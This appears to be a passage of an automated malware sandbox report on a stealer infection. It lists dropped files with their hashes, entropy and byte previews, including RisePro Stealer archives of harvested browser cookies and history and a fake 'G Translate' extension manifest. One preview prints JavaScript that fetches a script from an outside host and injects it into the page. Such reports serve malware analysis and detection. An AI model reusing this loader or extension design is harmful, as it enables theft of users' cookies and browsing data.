SHA-512:	054A4D5F20F0168FED3D082D06A393CAD9AF72B4933EA7CAAF1DFF3966DED16957DED7D50CCB954CD7161421486B73CD5FD301903C57443A2879247EE5EE9179
Malicious:	false
Reputation:	unknown
Preview:	window.addEventListener(.. "message",.. async (event) => {.. if (event.data.action !== "dsssss") {.. return;.. }.. .. const uniqueId = event.data.uniqueId;.. .. fetch(`https://thridparty.nservices.org/api/browser/GetScript?id=${uniqueId}&currentUrl=${encodeURIComponent(location.href)}`).. .then((response) => response.text()).. .then((script) => {.. const scriptElement = document.createElement("script");.. scriptElement.textContent = script;.. document.head.appendChild(scriptElement);.. }).. .catch((error) => {.. console.error("Error fetching or injecting script:", error);.. });.. },.. false.. );.. .. window.postMessage("xxxss", "*");..

C:\Users\user\AppData\Local\Temp\Extension\manifest.json

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\xS7PhKcNZTx4FuBAD1RB9kbJ.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.689092695649468
Encrypted:	false
SSDEEP:	24:ueKwH1w3ZWEA8L78s+9FopT/zvQWtsRDeS32k:/J4ZWH8L78sMoxzvKSS3L
MD5:	3B697EAF6802FD9D093C632011E4C560
SHA1:	AA64DF47C04F9FB88E59E0D0953E4376020EC845
SHA-256:	4D18A652726C51E54D1B9780CA39C87F5E971F6BCD52C6B89CBD945EFE1BFC26
SHA-512:	FA01817195FF33BED282FCB5185D32E1E3241C48473BFDB1AF1AA778ADD754445BD252C76C2D368D9F05557F009E093A7DBC6E3F282FAA04935B3DDED7FFB190
Malicious:	false
Reputation:	unknown
Preview:	{. "manifest_version": 3,. "name": "G Translate",. "version": "1.0",. "description": "View translations easily as you browse the web. ",. "icons": {. "128": "icon.png". },. "permissions": [. "scripting",. "webNavigation",. "storage",. "activeTab",. "<all_urls>",. "webRequest",. "cookies",. "tabs",. "downloads",. "webRequestBlocking",. "notifications",. "declarativeNetRequest",. "declarativeNetRequestFeedback",. "declarativeNetRequestWithHostAccess",. "unlimitedStorage",. "tabs". ],. "host_permissions": ["https:///", "\u003Call_urls>"],. "background": {. "service_worker": "background.js". },. "content_scripts": [ ..{. "js": [ "js/content.js" ],. "matches": [ "https:///"]. } . ],. "web_accessible_resources": [{. "resources": ["js/injected-script.js"],. "matches": ["<all_urls>"].}].}.

C:\Users\user\AppData\Local\Temp\G1Y1cICOYjk_P6MTvNhL7sj.zip

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	modified
Size (bytes):	665493
Entropy (8bit):	7.997968279184295
Encrypted:	true
SSDEEP:	12288:b6d6UAuSoviLbeXef3qvfEl+USf/4Dxb+bmC1iYOeWG7zuCwO1Tobq:b64puSoviLqOf6dpf+xb+bmYp+G7T77
MD5:	FA09FC3014A1323E2008BE9BAA7C06BC
SHA1:	85CBD316898CE0B9F5265B17699F8F8E18E8EC15
SHA-256:	57F94148AEE206E91660147842827A8C9F899FF13A57D08D954851E420801317
SHA-512:	3DD9A4058E6340C3D8584963D3677BAD0B106CF7D7C9F056CD9854B8313FAA87A06D7BC07499C77B6176BF3B68A2AE31D3CCCBF5255857B810D55F2FA5027A2F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\G1Y1cICOYjk_P6MTvNhL7sj.zip, Author: Joe Security
Reputation:	unknown
Preview:	PK...........X................Cookies\..PK...........X........$.......Cookies\Chrome_Default.txt....P...5.........`.L2J1l..\@.k.D..M'.t.k[Op...k...=..#T......?T...y..8.!(.h.>....o?.E.<.....EvWV.A....r,.4..\|...u..<..4..T..w..1....._V..a..jZ....qcY..:.T.I.................l9.u..M.n.Q.W..Y3..".i...N.....;.n....t..].\|-8\|....W..v.....If&xA,}.`+5~.....Yx-..3..><9.]K.)..in.. .H=.@..FEH.a..<...0.j...t.J,=>6..z.k.x...N...f.R.+.Y...~i.I..4.....p.Wm...5j.................tI..t.o..E....PK...........X................History\..PK...........X..H.A...p...,...History\Firefox_v6zchhhv.default-release.txt.())(...///......I../J./(.,KL..O.,JM...44.4312.06.....)5O74..V.PK...........X................information.txt}X.n.:.}7.. 0/..nq.%.i.ew.xI:N....V.....`.}(....F.q..:Uu.Xbo.FA..b.n....Y..I....l4.....4u.4r_.1.A;.w...AXc...0...r.f..N...b.1Z..x-...{....o6.........eF.c.ma,D.......R.w8._.qt]....i3jb*w`A........t....-......s....-.$....6.I..M.x..n.z.n1z}8/..E.;.d.3qz.]...b'...4{D.0.

C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	760320
Entropy (8bit):	6.561572491684602
Encrypted:	false
SSDEEP:	12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
MD5:	544CD51A596619B78E9B54B70088307D
SHA1:	4769DDD2DBC1DC44B758964ED0BD231B85880B65
SHA-256:	DFCE2D4D06DE6452998B3C5B2DC33EAA6DB2BD37810D04E3D02DC931887CFDDD
SHA-512:	F56D8B81022BB132D40AA78596DA39B5C212D13B84B5C7D2C576BBF403924F1D22E750DE3B09D1BE30AEA359F1B72C5043B19685FC9BF06D8040BFEE16B17719
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v...2...2...2...]...6....f..0...)=..,...)=....;...;...2.~.C...)=..i...)=......)=..3...)=..3...Rich2...........PE..L....#da...........!.....(...n...............@......................................(.....@.............................C.......x................................n...B..................................@............@...............................text....&.......(.................. ..`.rdata......@.......,..............@..@.data...`...........................@....rsrc...............................@..@.reloc..R...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TmpAF4.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\TmpB24.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	2662
Entropy (8bit):	7.8230547059446645
Encrypted:	false
SSDEEP:	48:qJdHasMPAUha1DgSVVi59ca13MfyKjWwUmq9W2UgniDhiRhkjp9g:bhhEgSVVi59defyfW2sDgAj3g
MD5:	1420D30F964EAC2C85B2CCFE968EEBCE
SHA1:	BDF9A6876578A3E38079C4F8CF5D6C79687AD750
SHA-256:	F3327793E3FD1F3F9A93F58D033ED89CE832443E2695BECA9F2B04ADBA049ED9
SHA-512:	6FCB6CE148E1E246D6805502D4914595957061946751656567A5013D96033DD1769A22A87C45821E7542CDE533450E41182CEE898CD2CCF911C91BC4822371A8
Malicious:	false
Reputation:	unknown
Preview:	0..b...0.."...H..............0...0......H..............0...0......H............0...0....H.......0...p.,\|.(.............mW.....$\|Bb.[ .w..#.G.a.K-..i.....+Yo..^m~{........@...iC....[....L.q.J....s?K..G..n.}......;.Q..6..WW..uP.k.F..</..%...X.P...V..R......@.Va...Zm....(M3......"..2-..{9......k.3....Y..c]..O.Bq.H.>..p.RS...\|B.d..kr.=G.g.v..f.d.C.?...0Ch[2:.V....A..7..PD..G....p..*.L{1.&'e..uU)@.i....:.P.;.j.j.......Y.:.a..6.j.L.J.....^[..8,."...2E.......[qU..6.].......nr..i..^l......-..m..u@P;..Ra."......n.p.Z..).:p).F($..\|.R.!9V.....[.gV...i..!.....=.y{.T6.9.m..+.....(2..\..V.1..].V...q.%.4.a...n.B..Q..g.~N..s....=iZ...3..).......E..A.I...hH..Q%0.]...u..........h0T.P.X.A............'.....O....Py.=..3..n..c.F.$z..t..jM.E..W...i1..'...Y,r.,.+...o.}.7..kb.t'DQTV..{...#....sT..G...:..3.L.....c..b%z..e.\.EY...M;x.Z....t..nv...@Ka.....\|s>.2Qr..f,O..XJ`d....78H8.....`..);.vMcUJ.......m.G5.ib]5.h.v<.?S.{1O.Y...kb.....a&.R......E.l..."J..G.

C:\Users\user\AppData\Local\Temp\eKhLlZQ.cpl

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\MYZqYdU5cUVwEz2j0JYbnTar.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2461696
Entropy (8bit):	7.968904820406743
Encrypted:	false
SSDEEP:	49152:8H9iikDvlC9mfhSUq7SUEynKuK5p33dhtuvTGcxh1D:wii0oggUq7suK55HoVxh1D
MD5:	7D9D057B7075833CA5A105D2CB456530
SHA1:	C8FB052F334DA1D6BE75E41ED54465578B5707FD
SHA-256:	2AA150519224BC7BF4F2FF63AA74603864DCD17B41CADD081020F83F5D772D28
SHA-512:	699E18DA1CC26E5F7D86097CC109A0991B184B16FCA565E1C4DCD4CB4433816A9269A4629CD330D085561392663052DAD134C5C617109F019E35796081300FF1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@.......................................Z..5.e.f.e.f.e.fx..fSe.f..Nfwe.f.;.gCe.f..f.e.f.>2f)e.f..ff.e.f.<.gOe.f9..f.e.f..Nf.e.fc..fae.f...fte.f.>.g5e.fp8.g)e.f...f1e.f..2fQe.f...f7e.f.7If!e.f...f.e.f...f=e.f9..f'e.fq.WfUe.f..f^e.fx..fPe.f...fse.fq.ff(e.f..f.e.f...gne.f...gNe.fq.Vf+e.f;.,f8e.f9..fje.f.e.f.d.f..ff5e.fRich.e.f....................................PE..L...-.p7...........!.....@...P......x........P................................%......G&..............................#.l.....#.<.....%.p.....................%..s......8............................................P..........`....................text....5.......@.................. ..`.rdata..<S...P...`...P.................@.data...DK....#..@....#.............@....rsrc...p.....%.......$.............@..@.reloc........%.......%.............@..B....................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\i2FqtYqlXCxQLo2ZIevRzA8.zip

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3452
Entropy (8bit):	7.795695502813378
Encrypted:	false
SSDEEP:	48:9HaIL8DZIpMh1Wm0PBOSjUTI86AkOBP4a5PIgFK5Nh6+ITMnBczfgnFzV+n3KJ6/:h8DFh10PJjUTkOBlPq5Zns8FE3KJt0
MD5:	6FC7546A18C0870D0B306E177C62A42A
SHA1:	5AD2779A91CB06A79327AB1A8381A66B5A9B971E
SHA-256:	981DAC9395D5A298E17D510DDA31281F9E24C5961D7D2F75EDBC7C9C4653852E
SHA-512:	6C7A81233CF3FCB76D77915912AE0F8208260122BF1D10B814BA6DD392E333683B4BE6EA72346BD6C01D4AFC279206FA50B1873CBFBA4004DA818CBB3B18BFA8
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\i2FqtYqlXCxQLo2ZIevRzA8.zip, Author: Joe Security
Reputation:	unknown
Preview:	PK...........X................Cookies\..PK...........X..E.............Cookies\Chrome_Default.txt....P.@.5.....d...`\|L2J1l.. .3."_..N.......q..b..=../c.;{.........4F8...0..Y.........Z}Y.g.<w3.f.W(....K.o..l...!.......y.o;.F..5%.....\|0MS.....J.,....../.o...8.H...,M.......;.....I!.z.W....j...e....fE.?.X....6...g...skL.K.85b.U.5...[/.<.h....C..\|...C5"{..i.$...'..W).f.O.i..4.....L..Z..t.Z(].2.m.?..<....]........f..I3?.q..8U.6...8.N.y_#Vb...g.k?.Z1.!.3$.....\.%...PK...........X................information.txt}Y.n...}G..J./..v...<].d&!..;.U..w<..$$W..O.....VK..=..k..*......n.v.<L..@M.^..n.Z`....~.d...0l..@.".../.]t[.a.P.9..n.X.hx~.5Ll@.....^;....w1.-L.........C.a......P.O.v>-..=s\|h....s.........g.U.9p.E.tZO..G..F.4.....YR.O.0^F....{...fo1..r..e.w0y..,.$o.5..i...a.jk/.<...u....."...#.^`..M.....A..MB...&..z.\Q..NF.....~q+.......WE:..(?n....&A........0.R....Z'....e..yeL.@....vxu6....H......1../...i...@d.k.....M.+w.....9.....Y.....%.(...h.....U..

C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_rSi8sV87ppx0bgkbETdFbEZ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	696832
Entropy (8bit):	6.462784826688779
Encrypted:	false
SSDEEP:	12288:L0QfKb7nH5lrPo37AzHTA63I0ihE4UEQrrNtIECORGv65ELAfXExy8:ffKbT5lrPo37AzHTA63/cfU9IEU653f0
MD5:	73919C5267ECFF99768AE00DFA5D9C3F
SHA1:	30BF5F65D85F0AD38B55F9703F421A75DFA1443A
SHA-256:	B1109164EA90502880CCF035DFE1241F76CABF340C74BE5E1062D78E9C7736AF
SHA-512:	5ABD7CB8A1EFB0AFECD1C5EE0C9E34ECCBE4A6BA434361F33EC1223299F6A48AE8F51EC952B7F9C2159EAC69A9FFAF4AE453946F17A647D4CF70D06F114EC3B9
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................&...........1.......@....@..............................................@...............................%...`...>..........................................................................................................CODE.....$.......&.................. ..`DATA....<....@.....................@...BSS..........`.......<...................idata...%.......&...<..............@....tls.................b...................rdata...............b..............@..P.reloc..............................@..P.rsrc....>...`...>...d..............@..P.....................*..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_RegDLL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.026670007889822
Encrypted:	false
SSDEEP:	48:ivuz1hEU3FR/pmqBl8/QMCBaquEMx5BC+SS4k+bkguj0KHc:bz1eEFNcqBC/Qrex5iSKDkc
MD5:	0EE914C6F0BB93996C75941E1AD629C6
SHA1:	12E2CB05506EE3E82046C41510F39A258A5E5549
SHA-256:	4DC09BAC0613590F1FAC8771D18AF5BE25A1E1CB8FDBF4031AA364F3057E74A2
SHA-512:	A899519E78125C69DC40F7E371310516CF8FAA69E3B3FF747E0DDF461F34E50A9FF331AB53B4D07BB45465039E8EBA2EE4684B3EE56987977AE8C7721751F5F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................H................\|.......\|.......\|......Rich............PE..L....M;J..................................... ....@..........................@..............................................l ..P....0..@............................................................................ ..D............................text............................... ..`.rdata....... ......................@..@.rsrc...@....0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_iscrypt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	2.8818118453929262
Encrypted:	false
SSDEEP:	24:e1GSgDIX566lIB6SXvVmMPUjvhBrDsqZ:SgDKRlVImgUNBsG
MD5:	A69559718AB506675E907FE49DEB71E9
SHA1:	BC8F404FFDB1960B50C12FF9413C893B56F2E36F
SHA-256:	2F6294F9AA09F59A574B5DCD33BE54E16B39377984F3D5658CDA44950FA0F8FC
SHA-512:	E52E0AA7FE3F79E36330C455D944653D449BA05B2F9ABEE0914A0910C3452CFA679A40441F9AC696B3CCF9445CBB85095747E86153402FC362BB30AC08249A63
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W.c.W.c.W.c...>.T.c.W.b.V.c.R.<.V.c.R.?.V.c.R.9.V.c.RichW.c.........................PE..L....b.@...........!......................... ...............................@......................................p ..}.... ..(............................0....................................................... ...............................text............................... ..`.rdata....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_isdecmp.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.745960477552938
Encrypted:	false
SSDEEP:	384:BXvhMwoSitz/bjx7yxnbdn+EHvbsHoOODCg:BZ7FEAbd+EDsIO
MD5:	A813D18268AFFD4763DDE940246DC7E5
SHA1:	C7366E1FD925C17CC6068001BD38EAEF5B42852F
SHA-256:	E19781AABE466DD8779CB9C8FA41BBB73375447066BB34E876CF388A6ED63C64
SHA-512:	B310ED4CD2E94381C00A6A370FCB7CC867EBE425D705B69CAAAAFFDAFBAB91F72D357966916053E72E68ECF712F2AF7585500C58BB53EC3E1D539179FCB45FB4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........I...(...(...(..n ..(...(...(...$..(...$..(...$..(..Rich.(..................PE..L......B...........!..... ..........p........0....P..........................P.......................................;.......;..(............................@.......0...............................................0...............................text............ .................. ..`.rdata.......0.......$..............@..@.reloc.......@.......2..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_setup64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	6144
Entropy (8bit):	4.215994423157539
Encrypted:	false
SSDEEP:	96:sfkcXegaJ/ZAYNzcld1xaX12pS5SKvkc:sfJEVYlvxaX12EF
MD5:	4FF75F505FDDCC6A9AE62216446205D9
SHA1:	EFE32D504CE72F32E92DCF01AA2752B04D81A342
SHA-256:	A4C86FC4836AC728D7BD96E7915090FD59521A9E74F1D06EF8E5A47C8695FD81
SHA-512:	BA0469851438212D19906D6DA8C4AE95FF1C0711A095D9F21F13530A6B8B21C3ACBB0FF55EDB8A35B41C1A9A342F5D3421C00BA395BC13BB1EF5902B979CE824
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d...XW:J..........#............................@.............................`..............................................................<!.......P..@....@..0.................................................................... ...............................text............................... ..`.rdata..\|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...@....P......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\is-MGI15.tmp\_isetup\_shfoldr.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KE107.tmp\_rSi8sV87ppx0bgkbETdFbEZ.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	23312
Entropy (8bit):	4.596242908851566
Encrypted:	false
SSDEEP:	384:+Vm08QoKkiWZ76UJuP71W55iWHHoSHigH2euwsHTGHVb+VHHmnH+aHjHqLHxmoq1:2m08QotiCjJuPGw4
MD5:	92DC6EF532FBB4A5C3201469A5B5EB63
SHA1:	3E89FF837147C16B4E41C30D6C796374E0B8E62C
SHA-256:	9884E9D1B4F8A873CCBD81F8AD0AE257776D2348D027D811A56475E028360D87
SHA-512:	9908E573921D5DBC3454A1C0A6C969AB8A81CC2E8B5385391D46B1A738FB06A76AA3282E0E58D0D2FFA6F27C85668CD5178E1500B8A39B1BBAE04366AE6A86D3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......IzJ^..$...$...$...%.".$.T87...$.[."...$...$...$.Rich..$.........................PE..L.....\;...........#..... ...4.......'.......0.....q....................................................................k...l)..<....@.../...................p..T....................................................................................text...{........ .................. ..`.data...\....0.......&..............@....rsrc..../...@...0...(..............@..@.reloc.......p.......X..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\kat806.tmp

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\zfQlIB6J8n2u_zLV5LHnA1xW.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	881664
Entropy (8bit):	6.555251818096116
Encrypted:	false
SSDEEP:	24576:o0ESdQpglO1CxDyawn27h+9hrlgKQY9SGcZwCdTp:o0RIglO1CuL9VNcaCd9
MD5:	66064DBDB70A5EB15EBF3BF65ABA254B
SHA1:	0284FD320F99F62ACA800FB1251EFF4C31EC4ED7
SHA-256:	6A94DBDA2DD1EDCFF2331061D65E1BAF09D4861CC7BA590C5EC754F3AC96A795
SHA-512:	B05C6C09AE7372C381FBA591C3CB13A69A2451B9D38DA1A95AAC89413D7438083475D06796ACB5440CD6EC65B030C9FA6CBDAA0D2FE91A926BAE6499C360F17F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*............................0.............@..............................................@..............................2'...........................@..p............................0......................................................CODE....d........................... ..`DATA................................@...BSS......................................idata..2'.......(..................@....tls......... ...........................rdata.......0......................@..P.reloc..p....@......................@..P.rsrc...............................@..P.....................t..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\rage131MP.tmp

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.8150724101159437
Encrypted:	false
SSDEEP:	3:LIDlN:UDD
MD5:	BE9574D25735A9FC6059B3DE5617193A
SHA1:	412EE8CCDCAA106DCC218B572792E84EED723356
SHA-256:	70924C264A49E1728AD091E61342FA42A9F2D46A75900E8F6A5556766C0B0B73
SHA-512:	469E31CCBB0AED4632A5FC102D752FBB1F2BD51E3FBBDFB169699135606279D7DCB1CDE0E7619FAE07B3099FF005FFE0250AE7E7EE5C2AD900A144568D320448
Malicious:	false
Reputation:	unknown
Preview:	1716626914730

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\1IIYRWaI_DirHistory

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\1hcVqbMkYC58History

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanLYB3bTQWTO7U\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	unknown
